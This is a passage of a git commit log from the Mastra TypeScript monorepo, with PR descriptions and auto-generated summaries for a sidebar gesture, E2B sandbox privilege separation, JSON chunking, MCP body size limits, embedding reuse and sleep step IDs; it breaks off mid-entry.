> █ **changeset** `+21`
> █ **stories** `+10 −2`



<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** On a phone, the menu now slides out from under the page, like
pulling a drawer out from behind a curtain. You swipe or tap to open it,
and you swipe, tap, or press Escape to close it.

## Summary

This PR changes the default mobile and tablet `takeover` sidebar in
`@mastra/playground-ui`. The `AppShell` page content slides aside to
reveal the sidebar underneath. The reveal uses a scale and fade effect.

- Swipe right opens the sidebar. Swipe left closes it.
- On release, movement beyond 40px follows the last gesture direction.
Shorter movements spring back to the starting state.
- When open, a strip of the page stays visible. Tapping or swiping the
strip closes the sidebar. Escape also closes it.
- While open, focus stays in the sidebar. Tab and Shift+Tab cycle
between the sidebar's first control and its close strip. The page and
toasts are set to `inert` until the sidebar closes.
- Desktop sidebar widths do not change. The live `--sidebar-width` value
is set on the sidebar panel.
- A `takeover` sidebar outside `AppShell` has no page to slide. Wrap the
page in `AppShell`, or set `mobileMode="drawer"` on the sidebar.

## Changes by file

- **`.changeset/rich-bats-hide.md`**: Adds a minor release note for
`@mastra/playground-ui`. It describes the page-sliding and swipe
behavior, focus handling, gesture exclusions, reduced-motion behavior,
and the `AppShell` requirement.
- **`sidebar-reveal.tsx`** (new): Adds the `SidebarReveal` component. It
applies reveal styling, connects gestures to drawer state, and makes the
panel a modal dialog while open. It focuses the panel on open and
handles Escape. On cleanup, it removes inert marks and restores focus to
the mobile trigger if focus was lost. While closed, the drawer is inert
and hidden from accessibility APIs. A scrim click closes the drawer.
- **`use-reveal-gesture.ts`** (new): Adds `useRevealGesture` and the
exported `REVEAL_EASE` constant. The hook tracks one touch. It claims
horizontal movement after an 8px threshold. It ignores gestures owned by
a nested horizontal swipe. Release duration is velocity-matched and
clamped to 120–400ms. Cancelled touches use zero velocity. Cleanup
removes listeners and temporary CSS variables.
- **`sidebar-reveal.css`** (new): Defines non-inherited custom
properties for drag, duration, progress, and motion. Progress rests at 0
when closed and at 1 when open. The settle duration is 320ms closed and
400ms open. Reduced-motion preferences set layer motion to 0ms. The
panel scales and fades, and the scrim translates and fades. When a
mobile sidebar is present, the page is clipped, styled, and translated.
- **`sidebar-panel.tsx`**: Renders mobile takeover mode through
`SidebarReveal`. The mobile drawer always uses drawer mode, fixed drawer
sizing, and `px-3` padding. The takeover-specific close button and
conditional takeover styling are removed. The desktop panel applies its
computed width through `SidebarPanelStyle` and attaches `panelRef`.
- **`sidebar-provider.tsx`**: Adds a panel ref and exposes it through
context. Writes the live `--sidebar-width` value to the panel, not the
scope. Adds `data-sidebar-mobile-open`, set to `'true'` or `'false'` by
drawer state.
- **`sidebar-context.ts`**: Adds `scopeRef` and `panelRef` to
`SidebarContextValue`.
- **`sidebar-mobile-trigger.tsx`**: Removes the selector that hid the
trigger when `data-sidebar-mobile-present="true"`. The selector for
`data-sidebar-mobile="false"` remains.
- **`app-shell.tsx`**: Adds `data-sidebar-reveal-layer="page"` to the
content wrapper. Slot and layout classes are unchanged.
- **`app-shell.css`**: Sets `overflow-x: clip` when a mobile sidebar is
present and reveal state is active.
- **`app-shell.stories.tsx`**: Adds a Storybook description of the
mobile interactions to the `Mobile` story.
- **`sidebar-layout.stories.tsx`**: Sets `mobileMode="drawer"` on the
`Mobile` story's sidebar.
- **`sidebar-reveal.test.tsx`** (new, 313 lines added): Tests opening by
a rightward drag past halfway or by a fast flick. Tests that short or
reversed drags stay closed. Tests that vertical scrolls and drags in
horizontal scrollers do not open the sidebar. Tests closing by leftward
swipe or Escape. Tests that Escape in a nested menu closes only that
menu. Tests focus restoration, focus cycling, and inert behavior for the
page and an outside toast. Tests that removing the sidebar while open
leaves the page usable.
- **`sidebar-root.test.tsx`**: Adds an `Element.prototype.getAnimations`
fallback when the method is missing. The `widthOf` helper reads
`--sidebar-width` from the panel. The mobile close test queries the
button named "Close navigation menu".

## Public API changes

- Added: `SidebarReveal` component.
- Added: `useRevealGesture` hook and `REVEAL_EASE` constant.
- Changed: `SidebarContextValue` gains `scopeRef` and `panelRef`.
- Behavior change: The default mobile `takeover` sidebar slides the
page. The previous takeover rendering is removed.

## Testing and verification

- The author reports synthetic touch tests in Chromium and WebKit, and
DevTools touch emulation.
- Real iOS Safari and Android Chrome were not verified. iOS edge
back-swipe behavior was not verified.
- The platform app was not checked.
- One emulator run lost `touchend` after page load and left the page
mid-drag. Two reruns did not reproduce it.
- CI results for this head: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Damien Schneider <damienschneider@mac.lan>
2026-11-15 10:00:08 -08:00
mastra-platform[bot]
a48d697b35
feat(e2b): run commands as another OS user, and choose the owner of S3/GCS mounts (#30433)
> Opened by @factory-project:7d5175c3-3a20-42ac-aba9-756f183136f4

## Description

E2B sandboxes ran every agent command as the template's default OS user,
and S3/GCS FUSE mounts were always owned by that same user. That user
has to be privileged — mounting FUSE filesystems needs `sudo`, and the
staged s3fs credentials file (`/tmp/.passwd-s3fs-*`, mode 600) is only
readable by it — so an agent running shell commands as that user could
read bucket credentials or become root.

Two opt-in options fix that:

- **`E2BSandbox({ user })`** — every command the sandbox runs on the
agent's behalf runs as that OS user: `executeCommand`, background
processes, and the tree-kill script that takes their descendants down
(another user cannot signal them). Mounting still runs as the default
user, because it needs `sudo`.
- **`S3Filesystem({ owner })` / `GCSFilesystem({ owner })`** — `{ uid,
gid }` naming the owner of the files inside the FUSE mount, replacing
the `id -u && id -g` probe. This is what gives the command user read and
write access to the mount.

Both are additive and default to today's behavior. `owner` lives on the
filesystem options rather than the sandbox because the mount config is
produced by `filesystem.getMountConfig()`, which is what E2B's `mount()`
reads; `E2BSandboxOptions.user` reaches the provider through the shared
`CommandsApiProcessManager`, and the key is left off entirely when unset
so the SDK's own default user still applies. `owner` is validated as
non-negative integers before it is interpolated into a mount command.
The `user` must already exist in the sandbox template.

## Related issue(s)

Fixes #30349

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [ ] I have addressed all Coderabbit comments on this PR

## Test plan

All checks run on this head (`dec4e6ec`):

- `packages/_internals/workspace`: 160 tests, including a new test that
the spawn and the kill script both carry the configured user, and one
that the key stays unset without a user.
- `@mastra/e2b` unit suite: 367 passed, 9 skipped (`validateOwner`
cases; S3 and GCS mounts using an explicit owner skip the `id -u && id
-g` probe and emit `uid=`/`gid=` and `--uid=`/`--gid=`; mounts without
an owner still probe).
- `@mastra/s3` 150 passed, `@mastra/gcs` 91 passed, including
`getMountConfig()` carrying `owner` when set and omitting it when not.
- Typecheck (e2b, s3, gcs, platform-workspace) clean; lint 0 warnings /
0 errors and builds clean for e2b, s3 and gcs.
- Each new test fails against the base source without the change (10 in
e2b, 1 internal, 1 s3, 1 gcs).
- Integration coverage: `index.integration.test.ts` gained a case
asserting an explicit owner yields `1234:1234` from `stat -c %u:%g`. It
needs `E2B_API_KEY`, so it does not run in CI — a manual run on a real
sandbox is the remaining gap.

## Follow-ups (not part of this change)

1. File-API writes (`sandbox.files`, `FilesApiFilesystem`) and code-mode
staging under `/home/user` still run as the default user, so with `user`
set, files written through file tools are not owned by the command user.
2. `E2BProviderConfig.configSchema` does not list `user` (it already
omits `workingDirectory`, `reattach` and `lifecycle`), so the Studio
provider form does not offer it even though the runtime forwards it.
3. `commands.list()` scope relative to the configured user is unverified
without an API key; tracked handles still surface.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Agent commands in an E2B sandbox used to run as the same user
that mounts cloud storage. This PR lets you pick a separate,
less-privileged user for agent commands, and lets you set the file owner
for S3 and GCS mounts. Both options are off by default.

## Summary

This PR adds two opt-in E2B options, as described in issue `#30349`:

- **Command user.** `E2BSandbox({ user })` runs agent commands,
background processes, and descendant cleanup as the named OS user.
Mounting still uses the default user. The user must already exist in the
sandbox template.
- **Mount owner.** `S3Filesystem({ owner })` and `GCSFilesystem({ owner
})` accept `{ uid, gid }`. When set, the mount uses these IDs. When
unset, the existing `id -u && id -g` probe runs.

### Changes by area

- **Workspace process manager**
(`packages/_internals/workspace/src/commands-api-process-manager.ts`):
`CommandsApi.run` and `CommandsApiProcessManagerOptions` accept an
optional `user`. Spawned commands and descendant cleanup in `kill()` use
it.
- **E2B provider** (`workspaces/e2b/src/sandbox/`):
  - `index.ts` adds `user?: string` to `E2BSandboxOptions`.
  - `process-manager.ts` forwards `user` to the base class.
- `mounts/types.ts` adds `MountOwner` and `validateOwner`. Validation
requires non-negative integers for `uid` and `gid`.
- `mounts/s3.ts` and `mounts/gcs.ts` use a supplied owner. Otherwise,
they probe the default user.
  - `index.ts` re-exports `MountOwner`.
- **S3 and GCS filesystems** (`workspaces/s3/src/filesystem/index.ts`,
`workspaces/gcs/src/filesystem/index.ts`): add `MountOwner`, an optional
`owner` option, and a `readonly owner` property. `getMountConfig()`
copies `uid` and `gid` into a plain object only when an owner is set.
This copy also handles owners whose fields are prototype getters. Both
packages re-export `MountOwner`.
- **Docs and changeset:** document both options. The changeset sets
minor releases for `@mastra/e2b`, `@mastra/s3`, and `@mastra/gcs`.

### Tests

- Workspace tests check that a configured user reaches spawned commands
and their kill commands. They also check that an unset user is passed as
`undefined`.
- E2B unit tests check owner validation and mount behavior with and
without an owner.
- S3 and GCS tests check `getMountConfig()` with and without an owner.
They also check that later changes to the input owner do not change the
config.
- An E2B integration test checks that an explicit owner of `1234` mounts
with ownership `1234:1234`. This test requires `E2B_API_KEY` and was not
run in CI.

The author reports passing workspace, E2B, S3, and GCS tests. The author
also reports clean typecheck, lint, and build results. These results are
not tied to a completed CI run on the current head. A manual run against
a real E2B sandbox is outstanding.

### Out of scope (per PR description)

- File-API writes and code-mode staging still use the default user.
- The Studio configuration schema does not expose `user`.
- The scope of `commands.list()` relative to the configured user is not
verified.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-15 08:51:28 -08:00
mastra-platform[bot]
82c98f9f1c
fix(rag): keep long JSON string content when chunking JSON documents (#30407)
> Opened by @factory-project:7d5175c3-3a20-42ac-aba9-756f183136f4

JSON chunking (`MDocument.chunk({ strategy: 'json' })`) silently
discarded most of a long string value whenever the field's serialized
path was longer than 13 characters, or the value contained characters
that JSON escapes. The splitter budgeted a fixed 20-character overhead
regardless of the real field name, and then dropped every piece that
still exceeded `maxSize`. The result was silent data loss with no error,
no warning, and no config that avoided it — a 3000-character value under
a 16-character key kept 120 characters at `maxSize` 500, and a
14-character key at `maxSize` 21 produced zero chunks.

The fix sizes each piece from the value it is about to emit: it measures
the serialized envelope of the candidate piece and its full field path,
cuts only at code-point boundaries so astral characters are never split,
and never discards a completed piece. When a field path alone leaves no
room for a single character, the remainder is emitted as one oversized
chunk instead of being dropped.

**Result:** Approved — `d8caff7436`

**Checks on this head**

| Check | Result | Tests |
| --- | --- | --- |
| New #30405 regression tests
(`packages/rag/src/document/document.test.ts`) | ✅ Passed | 10 passed |
| Full `packages/rag` suite | ✅ Passed | 471 passed across 24 files |
| `tsc --noEmit` (`packages/rag`) | ✅ Passed | |
| `oxlint --type-aware .` (`packages/rag`) | ✅ Passed | 0 warnings, 0
errors |
| `oxfmt --check` on the changed files | ✅ Passed | |
| New tests on base code (`5b7f1302`) | ✅ Catches the bug | 8 of 10 fail
without the fix |
| Independent round-trip probe (16 cases) | ✅ Passed | base: 9 fail →
head: 16 pass |

**Follow-ups**

- `minSize` remains accepted but ignored for JSON chunking; already
documented in `docs/src/content/en/reference/rag/chunk.mdx`.
- Long strings nested two or more levels deep are still emitted as one
oversized chunk rather than split; this boundary is unchanged by the fix
and already described in the `maxSize` docs.
- `ensureAscii` escaping runs after sizing, so an ASCII-escaped chunk
can exceed `maxSize`; unchanged and out of scope.
- `handlePrimitiveValue` tests "fits" against `{ [key]: value }`
(immediate key only) while emitting with the full path; this predates
the change and cannot lose or oversize data, since a chunk that fits
without the path also fits as emitted.

Adversarial check: I tried to falsify the fix with inputs the author did
not test — a 100k-character value (round-trips, 103 chunks, 11 ms),
astral characters (no chunk cut mid-pair), space-heavy values, nested
and array shapes, and the smallest allowed `maxSize` (21) — and the
round-trip invariant held on every case, while a probe written before
reading the diff reproduced the content loss on the base commit.

Fixes #30405

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

JSON chunking could drop parts of long text values. This change keeps
the full text and splits it into smaller pieces. Most pieces now fit the
size limit. A few cases still produce pieces that are larger than the
limit.

## Summary

This change fixes content loss in `MDocument.chunk({ strategy: 'json'
})` for `@mastra/rag`. The splitter reserved a fixed 20-character
overhead for each long string value. Field names or JSON escape
sequences can use more space than that overhead. The splitter then
discarded the pieces that exceeded `maxSize`.

## Changes

- `packages/rag/src/document/transformers/json.ts` (+51/-20):
- `RecursiveJsonTransformer` sizes each candidate piece by its
serialized chunk and full field path. It no longer uses the fixed
20-character overhead.
- Pieces split at code-point boundaries. The splitter prefers a
preceding space.
- If the field path leaves no room for one character, the remaining
string is emitted as one oversized chunk.
  - The filter that removed string chunks above `maxSize` was removed.
- Non-string primitive values that do not fit in a new chunk are
appended without a serialized-size check.
- `packages/rag/src/document/document.test.ts` (+108): Adds JSON
chunking tests. They cover long field names, escaped string values,
surrogate pairs, non-string primitives, and the no-room case. A
1,000,000-character string test checks reconstruction, a 500-character
chunk limit, and completion within 1,000 ms.
- `docs/src/content/en/reference/rag/chunk.mdx` (+1/-1): Documents that
long string values are split without discarding content. It states that
chunks may exceed `maxSize` when the field path leaves no room for one
character, when `ensureAscii` escaping expands a value (the default), or
when a long value is nested in an object.
- `.changeset/smooth-donkeys-split.md` (+5): Adds a patch changeset for
`@mastra/rag`.

## Linked issue

Issue `#30405` reports content loss with `maxSize: 90`, `minSize: 1`,
and `ensureAscii: false`. The issue expects complete reconstruction. It
also expects serialized chunk sizes within `maxSize`. It asks for a
configuration error when the field name leaves no room for a character.

This change does not implement the configuration error. When the field
path leaves no room, it emits the remaining content as one oversized
chunk.

## Limits

- Long strings nested two or more levels deep remain one oversized
chunk.
- `ensureAscii` escaping can still produce a chunk larger than
`maxSize`.
- When the field path leaves no room for one character, the remainder is
emitted as one oversized chunk.

## Verification

The author reports the following results on the PR head:
- 10 new regression tests pass. 8 of them fail on the base commit.
- The `packages/rag` suite passes: 471 tests across 24 files.
- `tsc --noEmit` and `oxlint --type-aware .` pass in `packages/rag`.
`oxfmt --check` passes on changed files.
- A 16-case round-trip probe passes on the PR head. The same probe fails
9 times on the base commit.

These results were not re-run for this summary. CI status on the current
head: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-15 08:44:43 -08:00
mastra-platform[bot]
0170d700a4
feat(mcp): let MCPServer set maxRequestBodySize for HTTP requests (#30411)
> Opened by @factory-project:7d5175c3-3a20-42ac-aba9-756f183136f4

## Description

Every MCP HTTP request served by a Mastra `MCPServer` was capped at the
MCP SDK's fixed 4 MiB default. A client sending a larger `tools/call`
body received

```json
{"jsonrpc":"2.0","error":{"code":-32000,"message":"Payload Too Large: Request body must not exceed 4194304 bytes"},"id":null}
```

before the tool ever ran, with no way to raise the bound. That breaks
legitimate payloads — for example a Claude connector MCP App intake form
that submits a signed PDF and a photo of an ID in a single `tools/call`.

`MCPServer` now accepts an optional `maxRequestBodySize` (bytes) in its
config, next to `legacy`:

```typescript
const server = new MCPServer({
  name: 'intake',
  version: '1.0.0',
  maxRequestBodySize: 16 * 1024 * 1024,
  tools: { submitIntake },
});
```

The option is forwarded to both SDK layers that enforce the cap:
`createMcpHandler(...)` owns the handler's bound, and
`toNodeHandler(...)` owns an adapter-level bound —
`@modelcontextprotocol/node` buffers the Node request stream itself
before the handler sees it, and per its
`ToNodeHandlerOptions.maxRequestBodySize` docs "the adapter's bound
applies first". Passing it to only one layer leaves the other's 4 MiB
default in force.

Leaving the option unset keeps the SDK default of `4194304` (4 MiB), so
existing servers behave exactly as before, and an over-limit body is
still rejected with the same `413` before it is parsed. The option
applies to `startHTTP` only; `stdio` has no request bodies. Documented
in the `MCPServer` configuration table of
`docs/src/content/en/reference/tools/mcp-server.mdx`.

## Test plan

New `packages/mcp/src/server/server-http-body-size.test.ts` drives the
real `startHTTP` path through the shared harness:

- default server rejects a 5 MiB body with `413`, `-32000`, and the
default byte count in the message, without running the tool;
- `maxRequestBodySize: 8 MiB` accepts a 5 MiB body and the tool runs;
- `maxRequestBodySize: 1024` rejects a 2 KiB body with `413` naming the
configured limit;
- a body under the configured limit is accepted.

## Verification

| Category | Command | Result |
| --- | --- | --- |
| Package tests | `pnpm exec vitest run --project unit:packages/mcp
src/server` | ✅ 36 files, 669 passed, 8 skipped |
| Package tests | `pnpm exec vitest run --project unit:packages/mcp
src/client` | ✅ 34 files, 627 passed |
| Type check / build | `pnpm --filter @mastra/mcp build:lib` | ✅ Passed;
emits `maxRequestBodySize?: number` in `dist/server/server.d.ts` |
| Lint | `npx oxlint --type-aware <changed .ts>` | ✅ 0 warnings, 0
errors |
| Format | `npx oxfmt --check <changed .ts>` | ✅ Passed |
| New tests on base code | new tests against the pre-change `server.ts`
| ✅ 2 of 4 fail on base (`expected 413, received 200`), 4 of 4 pass on
head |
| Docs checks | `run-checks.sh --docs
docs/src/content/en/reference/tools/mcp-server.mdx` | ✅ format, remark,
validate pass |
| Public surface | scratch script importing the built `@mastra/mcp` | ✅
default → `413`, raised limit passes the size gate |
| Not run | Vale prose check | ⚠️ binary not installed, so prose was not
linted |

One full-suite run failed on `server-events.test.ts` (stdio events). The
same test also fails at the base commit under the same full-suite load
and passes on re-run and in isolation, so it is a pre-existing flake
rather than a regression; this change does not touch the `serveStdio`
path.

## Follow-ups (non-blocking)

- A non-positive or non-finite `maxRequestBodySize` is not validated at
construction; the SDK's `RangeError` surfaces on the first HTTP request
as a `500`. Constructor-time validation would fail faster.
- The built-in `/api/mcp` endpoint (`server.mcp` / `ServerMCPConfig`)
and adapter-level `MCPOptions` still expose no body-size option; this
change deliberately scopes to a user-instantiated `MCPServer`.

Fixes #30207


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: MCP servers reject requests bigger than 4 MB. This PR lets a
developer set a bigger limit for one server, so large uploads can reach
the tool.

## Summary

This PR adds an optional `maxRequestBodySize` setting to
`MCPServerConfig`. `MCPServer` stores the value and passes it to both
`createMcpHandler(...)` and `toNodeHandler(...)`. When the setting is
unset, the SDK default of 4 MiB (4194304 bytes) applies.

## Changes

- `packages/mcp/src/server/server.ts`: Adds `maxRequestBodySize?:
number` to `MCPServerConfig`. Adds a private readonly field and assigns
it from config. Passes the value to both HTTP handler layers. Adds 12
lines.
- `packages/mcp/src/server/server-http-body-size.test.ts`: Adds 109
lines and 4 test cases:
- A body over the default 4 MiB limit returns `413`, and the tool does
not run.
- A body larger than 4 MiB succeeds when `maxRequestBodySize` raises the
limit.
- A body over a lowered limit returns `413`, and the message includes
the configured limit.
  - A body under the configured limit succeeds.
- `docs/src/content/en/reference/tools/mcp-server.mdx`: Documents the
option in the configuration table. Adds 7 lines.
- `.changeset/olive-pandas-carry.md`: Adds a minor release note for
`@mastra/mcp`. Adds 20 lines.

## Behavior

- The limit is in bytes.
- The documentation states that the value must be positive. The diff
does not validate this. The code stores any value it receives.
- An oversized body receives a `413` JSON-RPC error before it is parsed.
No tool runs.
- The limit applies only to bodies the server reads from the request
stream. When body-parsing middleware supplies the parsed body, the limit
does not apply. The documentation tells the user to set the limit on
that parser too.
- The setting does not apply to `stdio`.

## Scope

- The PR does not add constructor-time validation for non-positive or
non-finite values.
- The PR does not add body-size options to the built-in `/api/mcp`
endpoint or to adapter-level `MCPOptions`.

## Diff

4 files changed, 148 lines added, 0 removed.

## Verification

The PR author reports these results. This review did not run them.
- `vitest run --project unit:packages/mcp src/server`: 36 files, 669
passed, 8 skipped.
- `vitest run --project unit:packages/mcp src/client`: 34 files, 627
passed.
- `pnpm --filter @mastra/mcp build:lib`: passed.
- Vale prose check: not run. The binary was unavailable.
- One full-suite failure in `server-events.test.ts`. The author reports
the same failure on the base commit under full-suite load. The author
reports that it passes on rerun and in isolation.

## Linked issue

Issue `#30207` requests a per-server `maxRequestBodySize` on
`MCPServer`, passed to `createMcpHandler`. The PR adds the constructor
option and forwards it to both handler layers. The diff and test names
cover the requested behavior: the default is kept when unset, a `413` is
returned above the limit, and the setting applies per server.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-15 08:41:25 -08:00
Tyler Barnes
1072f7c626
fix(memory): reuse message embeddings across saves (#30429)
## Summary

Saving messages with semantic recall embeds each message's text and
writes a vector row for it. Since the message write path moved onto the
shared row builder, Memory stopped reusing embeddings for text it had
already embedded. The same text saved again (a repeated reply, a
re-saved message, a cloned thread) went back to the embedder every time:
three saves of the same 50 texts made 150 embedding calls instead of 50.

This restores bounded reuse on the write path without changing how rows
are written:

- Vectors are cached per Memory instance in a bounded LRU, keyed by each
message's exact prepared chunks, so chunk-size limits still apply and a
different chunking is a miss.
- The cache is emptied when the embedder or its options change.
- Failed calls, and responses without exactly one embedding per chunk,
are never kept. Concurrent writes of the same chunks share one call.
- Reused vectors are not counted again in reported embedding usage.
- Only vectors are cached. Every message still gets its own row with its
own id and metadata, so there are no duplicate recall rows.

The memory performance benchmark previously timed recalls without
checking that anything had been indexed, so a writer that skipped
embedding would pass it. It now checks that every message has a vector
row and that each thread's semantic recall returns its own messages
before timing.

## Test plan

- New `semantic-recall-embedding-reuse.test.ts` (10 tests): repeated
text, re-saved ids, usage on reuse, long-text reuse, invalid responses
and changed embedder options fail before this change. Edited text,
failed embeds, embedder swaps and raw-string content are covered as
controls.
- `@mastra/memory` unit suite: 2,689 pass + 1 todo. Typecheck, lint and
format clean.
- Real file-backed LibSQL, 3 saves × 50 messages: repeated text 150 → 50
embedding calls, re-saved ids 150 → 50. Stored rows unchanged (151 / 51
/ 451 for long chunked text). Unique, raw-string and long-text call
counts unchanged.
- LibSQL performance benchmark (2,500 messages, FastEmbed) passes with
the new check. The check fails when vector writes are disabled or recall
returns nothing.
- Local FastEmbed: repeated text ~7.6s → ~2.6s; unique text unchanged.

Ref #29826


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: When a message is saved, Memory turns its text into numbers (an
embedding). If the same text was already turned into numbers, this
change reuses them instead of asking the embedding service again. Each
message still gets its own stored row.

## Overview

This change adds a bounded cache of message-chunk embeddings to
`Memory`. The cache applies only to the message-vector write path. The
change also adds checks to the LibSQL performance test, a patch
changeset for `@mastra/memory`, and a new test file.

Diff scope: 4 files changed, 350 lines added, 11 removed.

## Changes

**`packages/memory/src/index.ts`** (+55 / -11)

- Adds `chunkEmbeddingCache`, an LRU cache bounded by
`DEFAULT_EMBEDDING_CACHE_MAX_SIZE`. It holds promises of vectors only.
Keys are a hash of `JSON.stringify(chunks)`.
- Adds `chunkEmbeddingCacheOwner`. It records the embedder and options
that produced the cached vectors.
- Adds `embedMessageChunks(chunks)`, which:
  - Snapshots `this.embedder` and `this.embedderOptions` before hashing.
- Calls `embedValues` with the snapshot and skips the cache if the
embedder or options change during hashing.
- Clears the cache when the owner record differs from the snapshot. The
clear happens at the next miss, not when the embedder changes.
  - Returns cached vectors on a hit. A hit returns no usage data.
- On a miss, calls `embedValues` and stores the pending promise.
Concurrent writes with the same chunks share that promise.
- Evicts the entry when the call fails or returns a number of embeddings
that differs from the number of chunks.
  - Returns usage only for the call that reached the embedder.
- Changes `embedValues` to accept an optional `{ embedder,
embedderOptions }` argument. The default is `this`, so other callers
keep the current behavior.
- Changes the message-vector row builder to call `embedMessageChunks`
instead of `embedValues`. The diff for this file shows no change to the
query or content embedding paths.

**`packages/memory/src/semantic-recall-embedding-reuse.test.ts`** (+267)

- Adds a new test file. It covers reuse across saves, one row per
message on resave, re-embedding of edited or distinct text, usage
counting, non-reuse of failed or mis-sized results, invalidation on
embedder or option change, an embedder change during an in-flight save,
raw-string content, and chunking within the embedder input limit.
- The number of tests in this file is not verified from the diff. The PR
reports 10.


**`packages/memory/integration-tests/src/performance-testing/performance-tests.ts`**
(+23)

- Imports the `MastraVector` type.
- Before timing, checks that indexed vector rows are at least
`threadCount * messagesPerThread`.
- Before timing, runs a thread-scoped semantic recall for each thread.
Checks that results are nonempty and belong to that thread.
- The timed query measurements and p95 threshold are not changed.

**`.changeset/quiet-owls-reuse.md`** (+5)

- Adds a patch changeset for `@mastra/memory`. It describes reuse of
vectors for repeated or re-saved text and the exclusion of reused
vectors from reported usage.

## Reported results

These results come from the PR description. They are not verified by
completed checks on the current head.

- Three saves of 50 messages with repeated text: embedding calls fell
from 150 to 50. Stored row counts are reported unchanged.
- Repeated-text FastEmbed time: about 7.6 s before, 2.6 s after.
- Unique, raw-string, and long-text call counts: reported unchanged.
- `@mastra/memory` unit tests: 2,689 passing, 1 todo.
- Typecheck, lint, and format: reported clean.
- LibSQL benchmark with 2,500 messages: reported passing.

## Not verified

- Test, typecheck, lint, format, and benchmark results. No completed
check on the current head was available.
- The test count in the new test file.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-14 18:29:53 -08:00
Justin Levine
1100a41fb7
feat(playground-ui): switch interface icons to Central Icons (#29934) 2026-11-14 21:28:12 -05:00
Arthur Fiorette
33eaa293e2
fix(core): give unnamed sleeps the same step id in every process (#30397)
## Description

A `.sleep()` or `.sleepUntil()` declared without an `id` now gets the
same step ID in every process: `sleep_<workflowId>_<n>`, where `n`
starts at the number of sleeps declared before this one and moves up
past any ID already in use.

### Why

Each process generated a random ID for an unnamed sleep when it built
the workflow, and that ID is the key of the sleep's result in the stored
run. A process that restarts or time travels a run stored by another
process looked the sleep up under its own ID, found nothing, and the
step after the sleep got no input. On the evented engine a restart
failed the run with an input validation error (the step received
`undefined`). Time travel on either engine ran the step with `{}`.

Scheduled workflows were affected too: the schedule's definition hash
covers the serialized step graph, which includes the sleep IDs, so every
instance computed a different hash and the instances that hadn't
registered the schedule last refused to fire it.

### What changed

`packages/core/src/workflows/workflow.ts` uses the rule unnamed `.map()`
steps have used since #21222: a deterministic ID from the workflow ID
and an ordinal, unless the workflow is already registered with a Mastra
instance that has a custom ID generator when the sleep is declared, in
which case that generator still produces the part after `sleep_`.
`sleep` and `sleepUntil` share one count, since both use the `sleep_`
prefix. An ID already taken by an explicit one is skipped. An explicit
`id` is unchanged.

```ts
// before: sleep_3f2c9e1a-... (different in every process)
// after:  sleep_my-workflow_0
createWorkflow({ id: 'my-workflow', ... }).then(a).sleep(5000).then(b).commit();
```

The `sleep` and `sleepUntil` reference pages now describe the default
ID.

### Known limits

- Adding or removing a sleep shifts the default IDs of later unnamed
sleeps. Pass `{ id }` to pin one.
- Runs stored before the upgrade keep their random sleep IDs and still
won't match after a restart or time travel, as before.
- A custom ID generator that returns random IDs still gives a different
ID per process.

### Tests

- New `packages/core/src/workflows/sleep-id-determinism.test.ts`: two
builds of the same workflow give the same IDs with one ordinal over
`sleep` and `sleepUntil` (without the fix: random `sleep_<uuid>` IDs);
an explicit ID that claims a default name is skipped (without the fix: a
random ID); a default-engine time travel past a sleep after the workflow
is rebuilt, on `InMemoryStore`, hands the next step its recorded input
(without the fix: the run ends `failed` with "Step input validation
failed", because the step got `{}`).
- `packages/core/src/workflows/evented/sleep-restart.test.ts`: the sleep
and `sleepUntil` restart cases now build the workflow once per runtime,
as a real restart does, and assert the step after the sleep receives its
input (without the fix: the run ends `failed` with
`WORKFLOW_STEP_INPUT_VALIDATION_FAILED`, input `undefined`).

## Related issue(s)

None

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a workflow waits, it gives that wait a name. Before this
change, the name was random each time the code ran. Another process
could not find the saved wait, so a restarted or time-traveled run lost
its data. Now each unnamed wait gets a name based on its position in the
workflow, so every process uses the same name.

## Summary

Unnamed `.sleep()` and `.sleepUntil()` steps now get a deterministic ID.
The ID has the form `sleep_<workflowId>_<n>`. Both sleep types share one
counter. The counter skips IDs that already exist in the workflow's
steps. Explicit `{ id }` values are unchanged.

## Changes

- **`packages/core/src/workflows/workflow.ts`:** Adds a private
`#defaultSleepId(stepType)` helper. `sleep()` and `sleepUntil()` call it
when no explicit ID is given.
- With no custom ID generator on the Mastra instance, `n` equals the
